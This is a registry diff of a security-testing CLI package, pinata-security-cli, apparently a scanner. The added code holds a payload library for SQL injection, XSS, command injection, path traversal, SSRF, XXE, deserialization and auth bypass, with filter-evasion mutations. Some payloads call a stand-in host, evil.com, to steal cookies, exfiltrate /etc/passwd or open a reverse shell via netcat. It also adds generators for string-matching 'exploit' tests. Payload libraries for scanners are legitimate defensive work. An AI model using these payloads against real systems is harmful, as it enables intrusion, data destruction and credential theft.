pinata-security-cli 0.4.0 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli/index.js CHANGED
@@ -2,7 +2,7 @@
2
2
  import { z } from 'zod';
3
3
  import fs, { mkdir, writeFile, readFile, stat, readdir, mkdtemp, rm } from 'fs/promises';
4
4
  import path, { dirname, resolve, join, basename, relative, extname } from 'path';
5
- import { existsSync, readFileSync, writeFileSync, chmodSync, mkdirSync } from 'fs';
5
+ import { existsSync, writeFileSync, readFileSync, chmodSync, mkdirSync } from 'fs';
6
6
  import { homedir, tmpdir } from 'os';
7
7
  import { spawn } from 'child_process';
8
8
  import { useState } from 'react';
@@ -1271,7 +1271,11 @@ var init_types2 = __esm({
1271
1271
  "command-injection",
1272
1272
  "path-traversal",
1273
1273
  "ssrf",
1274
- "deserialization"
1274
+ "xxe",
1275
+ "deserialization",
1276
+ "missing-authentication",
1277
+ "idor",
1278
+ "open-redirect"
1275
1279
  ];
1276
1280
  }
1277
1281
  });
@@ -1731,6 +1735,495 @@ var init_results = __esm({
1731
1735
  }
1732
1736
  });
1733
1737
 
1738
+ // src/execution/payloads.ts
1739
+ function mutatePayload(payload, maxMutations = 5) {
1740
+ const mutations = [payload];
1741
+ for (const strategy of MUTATION_STRATEGIES.slice(0, maxMutations)) {
1742
+ try {
1743
+ const mutated = strategy.apply(payload);
1744
+ if (mutated !== payload && !mutations.includes(mutated)) {
1745
+ mutations.push(mutated);
1746
+ }
1747
+ } catch {
1748
+ }
1749
+ }
1750
+ return mutations;
1751
+ }
1752
+ function getPayloadsForCategory(categoryId) {
1753
+ switch (categoryId) {
1754
+ case "sql-injection":
1755
+ return [
1756
+ ...SQL_INJECTION_PAYLOADS.boolean,
1757
+ ...SQL_INJECTION_PAYLOADS.union,
1758
+ ...SQL_INJECTION_PAYLOADS.error
1759
+ ];
1760
+ case "xss":
1761
+ return [
1762
+ ...XSS_PAYLOADS.script,
1763
+ ...XSS_PAYLOADS.event,
1764
+ ...XSS_PAYLOADS.bypass
1765
+ ];
1766
+ case "command-injection":
1767
+ return [
1768
+ ...COMMAND_INJECTION_PAYLOADS.semicolon,
1769
+ ...COMMAND_INJECTION_PAYLOADS.pipe,
1770
+ ...COMMAND_INJECTION_PAYLOADS.substitution
1771
+ ];
1772
+ case "path-traversal":
1773
+ return [
1774
+ ...PATH_TRAVERSAL_PAYLOADS.basic,
1775
+ ...PATH_TRAVERSAL_PAYLOADS.urlEncoded,
1776
+ ...PATH_TRAVERSAL_PAYLOADS.bypass
1777
+ ];
1778
+ case "ssrf":
1779
+ return [
1780
+ ...SSRF_PAYLOADS.localhost,
1781
+ ...SSRF_PAYLOADS.internal,
1782
+ ...SSRF_PAYLOADS.cloud
1783
+ ];
1784
+ case "xxe":
1785
+ return [
1786
+ ...XXE_PAYLOADS.basic,
1787
+ ...XXE_PAYLOADS.blind
1788
+ ];
1789
+ case "missing-authentication":
1790
+ return AUTH_BYPASS_PAYLOADS.session;
1791
+ case "idor":
1792
+ return IDOR_PAYLOADS.numeric;
1793
+ case "open-redirect":
1794
+ return [
1795
+ ...OPEN_REDIRECT_PAYLOADS.basic,
1796
+ ...OPEN_REDIRECT_PAYLOADS.bypass
1797
+ ];
1798
+ default:
1799
+ return [];
1800
+ }
1801
+ }
1802
+ function getPayloadsWithMutations(categoryId, maxPayloads = 20) {
1803
+ const basePayloads = getPayloadsForCategory(categoryId).slice(0, 5);
1804
+ const allPayloads = [];
1805
+ for (const payload of basePayloads) {
1806
+ allPayloads.push(...mutatePayload(payload, 3));
1807
+ }
1808
+ return [...new Set(allPayloads)].slice(0, maxPayloads);
1809
+ }
1810
+ var SQL_INJECTION_PAYLOADS, XSS_PAYLOADS, COMMAND_INJECTION_PAYLOADS, PATH_TRAVERSAL_PAYLOADS, SSRF_PAYLOADS, XXE_PAYLOADS, DESERIALIZATION_PAYLOADS, AUTH_BYPASS_PAYLOADS, IDOR_PAYLOADS, OPEN_REDIRECT_PAYLOADS, urlEncode, doubleUrlEncode, unicodeEncode, randomCase, insertWhitespace, insertSqlComments, htmlEntityEncode, insertNullByte, MUTATION_STRATEGIES;
1811
+ var init_payloads = __esm({
1812
+ "src/execution/payloads.ts"() {
1813
+ SQL_INJECTION_PAYLOADS = {
1814
+ /** Boolean-based blind injection */
1815
+ boolean: [
1816
+ "' OR '1'='1",
1817
+ "' OR '1'='1'--",
1818
+ "' OR '1'='1'/*",
1819
+ "1' AND '1'='1",
1820
+ "1' AND '1'='2",
1821
+ "' OR 1=1--",
1822
+ '" OR "1"="1',
1823
+ "') OR ('1'='1",
1824
+ "1 OR 1=1",
1825
+ "1' OR '1'='1' AND ''='"
1826
+ ],
1827
+ /** UNION-based injection */
1828
+ union: [
1829
+ "' UNION SELECT NULL--",
1830
+ "' UNION SELECT NULL,NULL--",
1831
+ "' UNION SELECT NULL,NULL,NULL--",
1832
+ "1 UNION SELECT username,password FROM users--",
1833
+ "1 UNION ALL SELECT 1,2,3,4--",
1834
+ "' UNION SELECT table_name,NULL FROM information_schema.tables--",
1835
+ "' UNION SELECT column_name,NULL FROM information_schema.columns--"
1836
+ ],
1837
+ /** Error-based injection */
1838
+ error: [
1839
+ "'",
1840
+ '"',
1841
+ "1'",
1842
+ '1"',
1843
+ "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
1844
+ "' AND EXTRACTVALUE(1,CONCAT(0x7e,version(),0x7e))--",
1845
+ "' AND UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)--"
1846
+ ],
1847
+ /** Time-based blind injection */
1848
+ time: [
1849
+ "' OR SLEEP(5)--",
1850
+ "'; WAITFOR DELAY '0:0:5'--",
1851
+ "' OR pg_sleep(5)--",
1852
+ "1' AND SLEEP(5)--",
1853
+ "1'; SELECT SLEEP(5);--"
1854
+ ],
1855
+ /** Stacked queries */
1856
+ stacked: [
1857
+ "'; DROP TABLE users--",
1858
+ "'; INSERT INTO users VALUES('pwned','pwned')--",
1859
+ "'; UPDATE users SET password='pwned'--",
1860
+ "1; SELECT * FROM users--"
1861
+ ],
1862
+ /** NoSQL injection */
1863
+ nosql: [
1864
+ '{"$gt": ""}',
1865
+ '{"$ne": null}',
1866
+ '{"$where": "1==1"}',
1867
+ "'; return true; var x='",
1868
+ '{"$regex": ".*"}'
1869
+ ]
1870
+ };
1871
+ XSS_PAYLOADS = {
1872
+ /** Basic script injection */
1873
+ script: [
1874
+ '<script>alert("XSS")</script>',
1875
+ "<script>alert(document.cookie)</script>",
1876
+ "<script>alert(1)</script>",
1877
+ '<script src="https://evil.com/xss.js"></script>',
1878
+ '<script>new Image().src="https://evil.com/?c="+document.cookie</script>'
1879
+ ],
1880
+ /** Event handler injection */
1881
+ event: [
1882
+ '<img src=x onerror=alert("XSS")>',
1883
+ '<svg onload=alert("XSS")>',
1884
+ '<body onload=alert("XSS")>',
1885
+ '<input onfocus=alert("XSS") autofocus>',
1886
+ '<marquee onstart=alert("XSS")>',
1887
+ '<video><source onerror=alert("XSS")>',
1888
+ '<details open ontoggle=alert("XSS")>'
1889
+ ],
1890
+ /** URL-based XSS */
1891
+ url: [
1892
+ 'javascript:alert("XSS")',
1893
+ "javascript:alert(document.domain)",
1894
+ 'data:text/html,<script>alert("XSS")</script>',
1895
+ 'vbscript:alert("XSS")'
1896
+ ],
1897
+ /** Filter bypass */
1898
+ bypass: [
1899
+ '<ScRiPt>alert("XSS")</sCrIpT>',
1900
+ '<scr<script>ipt>alert("XSS")</scr</script>ipt>',
1901
+ '"><script>alert("XSS")</script>',
1902
+ "'><script>alert('XSS')</script>",
1903
+ '<img src=x onerror="alert(String.fromCharCode(88,83,83))">',
1904
+ '\\x3cscript\\x3ealert("XSS")\\x3c/script\\x3e',
1905
+ "<script>alert`XSS`</script>"
1906
+ ],
1907
+ /** DOM-based XSS */
1908
+ dom: [
1909
+ '#<script>alert("XSS")</script>',
1910
+ '?q=<script>alert("XSS")</script>',
1911
+ `javascript:/*--></title></style></textarea></script><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>`
1912
+ ]
1913
+ };
1914
+ COMMAND_INJECTION_PAYLOADS = {
1915
+ /** Semicolon separator */
1916
+ semicolon: [
1917
+ "; ls -la",
1918
+ "; id",
1919
+ "; whoami",
1920
+ "; cat /etc/passwd",
1921
+ "; uname -a"
1922
+ ],
1923
+ /** Pipe operator */
1924
+ pipe: [
1925
+ "| ls -la",
1926
+ "| id",
1927
+ "| cat /etc/passwd",
1928
+ "| nc -e /bin/sh evil.com 4444"
1929
+ ],
1930
+ /** Ampersand operators */
1931
+ ampersand: [
1932
+ "&& ls -la",
1933
+ "& ls -la",
1934
+ "|| ls -la"
1935
+ ],
1936
+ /** Backticks and substitution */
1937
+ substitution: [
1938
+ "`id`",
1939
+ "$(id)",
1940
+ "`whoami`",
1941
+ "$(whoami)",
1942
+ "`cat /etc/passwd`"
1943
+ ],
1944
+ /** Newline injection */
1945
+ newline: [
1946
+ "\nid",
1947
+ "\r\nwhoami",
1948
+ "%0aid",
1949
+ "%0d%0awhoami"
1950
+ ],
1951
+ /** Windows-specific */
1952
+ windows: [
1953
+ "& dir",
1954
+ "| type C:\\Windows\\win.ini",
1955
+ "& whoami",
1956
+ "| net user"
1957
+ ]
1958
+ };
1959
+ PATH_TRAVERSAL_PAYLOADS = {
1960
+ /** Basic traversal */
1961
+ basic: [
1962
+ "../../../etc/passwd",
1963
+ "..\\..\\..\\windows\\win.ini",
1964
+ "../../../etc/shadow",
1965
+ "../../../etc/hosts",
1966
+ "../../../../etc/passwd",
1967
+ "../../../../../etc/passwd"
1968
+ ],
1969
+ /** URL encoding */
1970
+ urlEncoded: [
1971
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
1972
+ "%2e%2e/%2e%2e/%2e%2e/etc/passwd",
1973
+ "..%2f..%2f..%2fetc%2fpasswd",
1974
+ "%252e%252e%252f%252e%252e%252fetc%252fpasswd"
1975
+ ],
1976
+ /** Double encoding */
1977
+ doubleEncoded: [
1978
+ "..%252f..%252f..%252fetc/passwd",
1979
+ "%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
1980
+ ],
1981
+ /** Null byte injection (legacy) */
1982
+ nullByte: [
1983
+ "../../../etc/passwd%00",
1984
+ "../../../etc/passwd%00.jpg",
1985
+ "../../../etc/passwd\0"
1986
+ ],
1987
+ /** Bypass filters */
1988
+ bypass: [
1989
+ "....//....//....//etc/passwd",
1990
+ "..../....//....//etc/passwd",
1991
+ "..;/..;/..;/etc/passwd",
1992
+ "..\\..\\..\\/etc/passwd",
1993
+ "..%c0%af..%c0%af..%c0%afetc/passwd"
1994
+ ]
1995
+ };
1996
+ SSRF_PAYLOADS = {
1997
+ /** Localhost access */
1998
+ localhost: [
1999
+ "http://localhost",
2000
+ "http://127.0.0.1",
2001
+ "http://[::1]",
2002
+ "http://0.0.0.0",
2003
+ "http://0",
2004
+ "http://localhost:22",
2005
+ "http://localhost:25",
2006
+ "http://localhost:3306",
2007
+ "http://localhost:6379",
2008
+ "http://127.1",
2009
+ "http://2130706433"
2010
+ // Decimal IP for 127.0.0.1
2011
+ ],
2012
+ /** Internal network */
2013
+ internal: [
2014
+ "http://192.168.0.1",
2015
+ "http://192.168.1.1",
2016
+ "http://10.0.0.1",
2017
+ "http://172.16.0.1",
2018
+ "http://169.254.169.254",
2019
+ // AWS metadata
2020
+ "http://169.254.169.254/latest/meta-data/",
2021
+ "http://metadata.google.internal",
2022
+ "http://100.100.100.200"
2023
+ // Alibaba Cloud
2024
+ ],
2025
+ /** Cloud metadata endpoints */
2026
+ cloud: [
2027
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
2028
+ "http://169.254.169.254/latest/user-data/",
2029
+ "http://metadata.google.internal/computeMetadata/v1/",
2030
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
2031
+ ],
2032
+ /** Protocol smuggling */
2033
+ protocols: [
2034
+ "file:///etc/passwd",
2035
+ "gopher://localhost:6379/_INFO",
2036
+ "dict://localhost:6379/INFO",
2037
+ "sftp://evil.com/",
2038
+ "ldap://evil.com/"
2039
+ ],
2040
+ /** DNS rebinding */
2041
+ dnsRebind: [
2042
+ "http://spoofed.burpcollaborator.net",
2043
+ "http://1.1.1.1.xip.io"
2044
+ ]
2045
+ };
2046
+ XXE_PAYLOADS = {
2047
+ /** Basic XXE */
2048
+ basic: [
2049
+ `<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>`,
2050
+ `<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><root>&xxe;</root>`
2051
+ ],
2052
+ /** Parameter entity XXE */
2053
+ parameter: [
2054
+ `<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><root></root>`
2055
+ ],
2056
+ /** Blind XXE */
2057
+ blind: [
2058
+ `<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe?data=file:///etc/passwd">%xxe;]><root></root>`
2059
+ ],
2060
+ /** XXE via file upload */
2061
+ fileUpload: [
2062
+ `<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>`
2063
+ ],
2064
+ /** XXE in SOAP */
2065
+ soap: [
2066
+ `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>&xxe;</soap:Body></soap:Envelope>`
2067
+ ]
2068
+ };
2069
+ DESERIALIZATION_PAYLOADS = {
2070
+ /** Node.js/JavaScript */
2071
+ nodejs: [
2072
+ `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}`,
2073
+ '{"__proto__":{"polluted":"yes"}}',
2074
+ '{"constructor":{"prototype":{"polluted":"yes"}}}'
2075
+ ],
2076
+ /** Python pickle */
2077
+ python: [
2078
+ // Base64 encoded pickle payloads would go here
2079
+ // These are dangerous so we use detection patterns instead
2080
+ ],
2081
+ /** Java */
2082
+ java: [
2083
+ // Ysoserial-style payloads reference
2084
+ "AC ED 00 05"
2085
+ // Java serialization magic bytes
2086
+ ],
2087
+ /** PHP */
2088
+ php: [
2089
+ 'O:8:"stdClass":0:{}',
2090
+ 'a:1:{s:4:"test";O:8:"stdClass":0:{}}'
2091
+ ]
2092
+ };
2093
+ AUTH_BYPASS_PAYLOADS = {
2094
+ /** Default credentials */
2095
+ defaultCreds: [
2096
+ { username: "admin", password: "admin" },
2097
+ { username: "admin", password: "password" },
2098
+ { username: "admin", password: "123456" },
2099
+ { username: "root", password: "root" },
2100
+ { username: "test", password: "test" },
2101
+ { username: "guest", password: "guest" }
2102
+ ],
2103
+ /** JWT manipulation */
2104
+ jwt: [
2105
+ // Algorithm none
2106
+ "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.",
2107
+ // Empty signature
2108
+ "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9."
2109
+ ],
2110
+ /** Session manipulation */
2111
+ session: [
2112
+ "admin=true",
2113
+ "role=admin",
2114
+ "isAdmin=1",
2115
+ "authenticated=true"
2116
+ ],
2117
+ /** Header injection */
2118
+ headers: [
2119
+ { "X-Forwarded-For": "127.0.0.1" },
2120
+ { "X-Original-URL": "/admin" },
2121
+ { "X-Rewrite-URL": "/admin" },
2122
+ { "X-Custom-IP-Authorization": "127.0.0.1" }
2123
+ ]
2124
+ };
2125
+ IDOR_PAYLOADS = {
2126
+ /** Numeric ID manipulation */
2127
+ numeric: [
2128
+ "1",
2129
+ "2",
2130
+ "0",
2131
+ "-1",
2132
+ "9999999",
2133
+ "1000000000"
2134
+ ],
2135
+ /** UUID/GUID manipulation */
2136
+ uuid: [
2137
+ "00000000-0000-0000-0000-000000000000",
2138
+ "11111111-1111-1111-1111-111111111111"
2139
+ ],
2140
+ /** Hash prediction */
2141
+ hash: [
2142
+ "admin",
2143
+ "user",
2144
+ "test",
2145
+ "1",
2146
+ "0"
2147
+ ]
2148
+ };
2149
+ OPEN_REDIRECT_PAYLOADS = {
2150
+ /** Basic redirects */
2151
+ basic: [
2152
+ "https://evil.com",
2153
+ "//evil.com",
2154
+ "/\\evil.com",
2155
+ "https://evil.com%2f%2f"
2156
+ ],
2157
+ /** Filter bypass */
2158
+ bypass: [
2159
+ "https://evil.com?.trusted.com",
2160
+ "https://trusted.com@evil.com",
2161
+ "https://trusted.com.evil.com",
2162
+ "javascript:alert(document.domain)",
2163
+ "///evil.com",
2164
+ "\\/\\/evil.com"
2165
+ ],
2166
+ /** Encoded */
2167
+ encoded: [
2168
+ "https:%2F%2Fevil.com",
2169
+ "https:%252F%252Fevil.com",
2170
+ "%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
2171
+ ]
2172
+ };
2173
+ urlEncode = {
2174
+ name: "url-encode",
2175
+ apply: (p) => encodeURIComponent(p)
2176
+ };
2177
+ doubleUrlEncode = {
2178
+ name: "double-url-encode",
2179
+ apply: (p) => encodeURIComponent(encodeURIComponent(p))
2180
+ };
2181
+ unicodeEncode = {
2182
+ name: "unicode-encode",
2183
+ apply: (p) => {
2184
+ return p.split("").map((c) => {
2185
+ const code = c.charCodeAt(0);
2186
+ return code > 127 ? c : `\\u${code.toString(16).padStart(4, "0")}`;
2187
+ }).join("");
2188
+ }
2189
+ };
2190
+ randomCase = {
2191
+ name: "random-case",
2192
+ apply: (p) => {
2193
+ return p.split("").map((c) => Math.random() > 0.5 ? c.toUpperCase() : c.toLowerCase()).join("");
2194
+ }
2195
+ };
2196
+ insertWhitespace = {
2197
+ name: "insert-whitespace",
2198
+ apply: (p) => p.replace(/([<>])/g, " $1 ").replace(/ +/g, " ")
2199
+ };
2200
+ insertSqlComments = {
2201
+ name: "sql-comments",
2202
+ apply: (p) => p.replace(/ /g, "/**/")
2203
+ };
2204
+ htmlEntityEncode = {
2205
+ name: "html-entity",
2206
+ apply: (p) => {
2207
+ return p.replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;");
2208
+ }
2209
+ };
2210
+ insertNullByte = {
2211
+ name: "null-byte",
2212
+ apply: (p) => p + "%00"
2213
+ };
2214
+ MUTATION_STRATEGIES = [
2215
+ urlEncode,
2216
+ doubleUrlEncode,
2217
+ unicodeEncode,
2218
+ randomCase,
2219
+ insertWhitespace,
2220
+ insertSqlComments,
2221
+ htmlEntityEncode,
2222
+ insertNullByte
2223
+ ];
2224
+ }
2225
+ });
2226
+
1734
2227
  // src/execution/generator.ts
1735
2228
  function generateExploitTest(gap, targetCode, language) {
1736
2229
  const categoryId = gap.categoryId;
@@ -1743,6 +2236,16 @@ function generateExploitTest(gap, targetCode, language) {
1743
2236
  return generateCommandInjectionTest(gap, targetCode);
1744
2237
  case "path-traversal":
1745
2238
  return generatePathTraversalTest(gap, targetCode);
2239
+ case "ssrf":
2240
+ return generateSsrfTest(gap, targetCode);
2241
+ case "xxe":
2242
+ return generateXxeTest(gap, targetCode);
2243
+ case "missing-authentication":
2244
+ return generateAuthBypassTest(gap, targetCode);
2245
+ case "idor":
2246
+ return generateIdorTest(gap, targetCode);
2247
+ case "open-redirect":
2248
+ return generateOpenRedirectTest(gap, targetCode);
1746
2249
  default:
1747
2250
  return generateGenericTest(gap, targetCode);
1748
2251
  }
@@ -1987,6 +2490,258 @@ describe('Path Traversal Exploit - ${gap.filePath}:${gap.lineStart}', () => {
1987
2490
  });
1988
2491
  `.trim();
1989
2492
  }
2493
+ function generateSsrfTest(gap, targetCode, language) {
2494
+ const payloads = JSON.stringify(SSRF_PAYLOADS.localhost.slice(0, 5));
2495
+ const cloudPayloads = JSON.stringify(SSRF_PAYLOADS.cloud.slice(0, 3));
2496
+ return `
2497
+ import { describe, it, expect } from 'vitest';
2498
+
2499
+ describe('SSRF Exploit - ${gap.filePath}:${gap.lineStart}', () => {
2500
+ const LOCALHOST_PAYLOADS = ${payloads};
2501
+ const CLOUD_METADATA_PAYLOADS = ${cloudPayloads};
2502
+
2503
+ it('exploit: internal network access via localhost variants', () => {
2504
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2505
+
2506
+ // Check if URL is fetched without validation
2507
+ const usesFetch = targetCode.includes('fetch(') ||
2508
+ targetCode.includes('axios') ||
2509
+ targetCode.includes('request(') ||
2510
+ targetCode.includes('http.get');
2511
+
2512
+ const hasUrlValidation = targetCode.includes('allowlist') ||
2513
+ targetCode.includes('whitelist') ||
2514
+ targetCode.includes('isValidUrl') ||
2515
+ targetCode.includes('URL(');
2516
+
2517
+ // Vulnerable: fetches URLs without validation
2518
+ if (usesFetch) {
2519
+ expect(hasUrlValidation).toBe(false);
2520
+ }
2521
+ });
2522
+
2523
+ it('exploit: cloud metadata endpoint access', () => {
2524
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2525
+
2526
+ // AWS/GCP/Azure metadata endpoints should be blocked
2527
+ const blocksMetadata = targetCode.includes('169.254.169.254') ||
2528
+ targetCode.includes('metadata.google') ||
2529
+ targetCode.includes('blockInternal');
2530
+
2531
+ expect(blocksMetadata).toBe(false);
2532
+ });
2533
+
2534
+ it('exploit: protocol smuggling (file://, gopher://)', () => {
2535
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2536
+
2537
+ // Check if non-HTTP protocols are allowed
2538
+ const restrictsProtocol = targetCode.includes('http://') ||
2539
+ targetCode.includes('https://') ||
2540
+ targetCode.includes('protocol === "http"');
2541
+
2542
+ // Vulnerable if no protocol restriction
2543
+ expect(restrictsProtocol).toBe(false);
2544
+ });
2545
+ });
2546
+ `.trim();
2547
+ }
2548
+ function generateXxeTest(gap, targetCode, language) {
2549
+ return `
2550
+ import { describe, it, expect } from 'vitest';
2551
+
2552
+ describe('XXE Exploit - ${gap.filePath}:${gap.lineStart}', () => {
2553
+ const XXE_PAYLOADS = [
2554
+ '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
2555
+ '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><root></root>',
2556
+ ];
2557
+
2558
+ it('exploit: XML parser allows external entities', () => {
2559
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2560
+
2561
+ // Check for XML parsing
2562
+ const parsesXml = targetCode.includes('parseXML') ||
2563
+ targetCode.includes('DOMParser') ||
2564
+ targetCode.includes('xml2js') ||
2565
+ targetCode.includes('xmldom') ||
2566
+ targetCode.includes('XMLParser') ||
2567
+ targetCode.includes('parseString');
2568
+
2569
+ // Check for XXE protection
2570
+ const hasProtection = targetCode.includes('noent: false') ||
2571
+ targetCode.includes('NOENT') ||
2572
+ targetCode.includes('disallow-doctype-decl') ||
2573
+ targetCode.includes('external-general-entities');
2574
+
2575
+ // Vulnerable: parses XML without XXE protection
2576
+ if (parsesXml) {
2577
+ expect(hasProtection).toBe(false);
2578
+ }
2579
+ });
2580
+
2581
+ it('exploit: DTD processing enabled', () => {
2582
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2583
+
2584
+ // DTD processing should be disabled
2585
+ const disablesDtd = targetCode.includes('DOCTYPE') &&
2586
+ (targetCode.includes('false') || targetCode.includes('reject'));
2587
+
2588
+ expect(disablesDtd).toBe(false);
2589
+ });
2590
+ });
2591
+ `.trim();
2592
+ }
2593
+ function generateAuthBypassTest(gap, targetCode, language) {
2594
+ const defaultCreds = JSON.stringify(AUTH_BYPASS_PAYLOADS.defaultCreds.slice(0, 3));
2595
+ return `
2596
+ import { describe, it, expect } from 'vitest';
2597
+
2598
+ describe('Auth Bypass Exploit - ${gap.filePath}:${gap.lineStart}', () => {
2599
+ const DEFAULT_CREDENTIALS = ${defaultCreds};
2600
+
2601
+ const BYPASS_HEADERS = [
2602
+ { 'X-Forwarded-For': '127.0.0.1' },
2603
+ { 'X-Original-URL': '/admin' },
2604
+ { 'X-Custom-IP-Authorization': '127.0.0.1' },
2605
+ ];
2606
+
2607
+ it('exploit: missing authentication check', () => {
2608
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2609
+
2610
+ // Check for auth middleware/guards
2611
+ const hasAuthCheck = targetCode.includes('isAuthenticated') ||
2612
+ targetCode.includes('requireAuth') ||
2613
+ targetCode.includes('verifyToken') ||
2614
+ targetCode.includes('passport.') ||
2615
+ targetCode.includes('authMiddleware') ||
2616
+ targetCode.includes('session.user');
2617
+
2618
+ // Vulnerable: no authentication check
2619
+ expect(hasAuthCheck).toBe(false);
2620
+ });
2621
+
2622
+ it('exploit: authorization bypass via header injection', () => {
2623
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2624
+
2625
+ // Check if X-Forwarded-For is trusted
2626
+ const trustsForwardedHeaders = targetCode.includes('x-forwarded-for') ||
2627
+ targetCode.includes('X-Forwarded-For') ||
2628
+ targetCode.includes('trust proxy');
2629
+
2630
+ const validatesSource = targetCode.includes('validateIP') ||
2631
+ targetCode.includes('allowedIPs');
2632
+
2633
+ // Vulnerable if trusts headers without validation
2634
+ if (trustsForwardedHeaders) {
2635
+ expect(validatesSource).toBe(false);
2636
+ }
2637
+ });
2638
+
2639
+ it('exploit: JWT algorithm confusion', () => {
2640
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2641
+
2642
+ // Check for JWT handling
2643
+ const handlesJwt = targetCode.includes('jwt.verify') ||
2644
+ targetCode.includes('jsonwebtoken') ||
2645
+ targetCode.includes('jose');
2646
+
2647
+ // Check if algorithm is enforced
2648
+ const enforcesAlgorithm = targetCode.includes('algorithms:') ||
2649
+ targetCode.includes('HS256') ||
2650
+ targetCode.includes('RS256');
2651
+
2652
+ // Vulnerable if JWT used without algorithm enforcement
2653
+ if (handlesJwt) {
2654
+ expect(enforcesAlgorithm).toBe(true);
2655
+ }
2656
+ });
2657
+ });
2658
+ `.trim();
2659
+ }
2660
+ function generateIdorTest(gap, targetCode, language) {
2661
+ return `
2662
+ import { describe, it, expect } from 'vitest';
2663
+
2664
+ describe('IDOR Exploit - ${gap.filePath}:${gap.lineStart}', () => {
2665
+ const ID_PAYLOADS = ['1', '2', '0', '-1', '9999999', '1000000000'];
2666
+
2667
+ it('exploit: direct object reference without ownership check', () => {
2668
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2669
+
2670
+ // Check for ID usage
2671
+ const usesId = targetCode.includes('params.id') ||
2672
+ targetCode.includes('req.params') ||
2673
+ targetCode.includes('userId') ||
2674
+ targetCode.includes('resourceId');
2675
+
2676
+ // Check for ownership validation
2677
+ const checksOwnership = targetCode.includes('user.id ===') ||
2678
+ targetCode.includes('userId ===') ||
2679
+ targetCode.includes('belongsTo') ||
2680
+ targetCode.includes('isOwner') ||
2681
+ targetCode.includes('canAccess');
2682
+
2683
+ // Vulnerable: uses ID without ownership check
2684
+ if (usesId) {
2685
+ expect(checksOwnership).toBe(false);
2686
+ }
2687
+ });
2688
+
2689
+ it('exploit: sequential/predictable IDs', () => {
2690
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2691
+
2692
+ // Check for UUID usage (more secure)
2693
+ const usesUuid = targetCode.includes('uuid') ||
2694
+ targetCode.includes('UUID') ||
2695
+ targetCode.includes('uuidv4');
2696
+
2697
+ // Using sequential IDs is vulnerable
2698
+ expect(usesUuid).toBe(false);
2699
+ });
2700
+ });
2701
+ `.trim();
2702
+ }
2703
+ function generateOpenRedirectTest(gap, targetCode, language) {
2704
+ const payloads = JSON.stringify(OPEN_REDIRECT_PAYLOADS.bypass.slice(0, 5));
2705
+ return `
2706
+ import { describe, it, expect } from 'vitest';
2707
+
2708
+ describe('Open Redirect Exploit - ${gap.filePath}:${gap.lineStart}', () => {
2709
+ const REDIRECT_PAYLOADS = ${payloads};
2710
+
2711
+ it('exploit: unvalidated redirect URL', () => {
2712
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2713
+
2714
+ // Check for redirect
2715
+ const hasRedirect = targetCode.includes('redirect(') ||
2716
+ targetCode.includes('res.redirect') ||
2717
+ targetCode.includes('location.href') ||
2718
+ targetCode.includes('window.location');
2719
+
2720
+ // Check for URL validation
2721
+ const validatesUrl = targetCode.includes('allowedUrls') ||
2722
+ targetCode.includes('whitelist') ||
2723
+ targetCode.includes('startsWith("/")') ||
2724
+ targetCode.includes('isRelative') ||
2725
+ targetCode.includes('isSameDomain');
2726
+
2727
+ // Vulnerable: redirects without validation
2728
+ if (hasRedirect) {
2729
+ expect(validatesUrl).toBe(false);
2730
+ }
2731
+ });
2732
+
2733
+ it('exploit: protocol-relative URL bypass', () => {
2734
+ const targetCode = \`${escapeTemplate(targetCode)}\`;
2735
+
2736
+ // Check if // URLs are blocked
2737
+ const blocksProtocolRelative = targetCode.includes('startsWith("//")') ||
2738
+ targetCode.includes('/^\\\\/\\\\//');
2739
+
2740
+ expect(blocksProtocolRelative).toBe(false);
2741
+ });
2742
+ });
2743
+ `.trim();
2744
+ }
1990
2745
  function generateGenericTest(gap, targetCode, language) {
1991
2746
  return `
1992
2747
  import { describe, it, expect } from 'vitest';
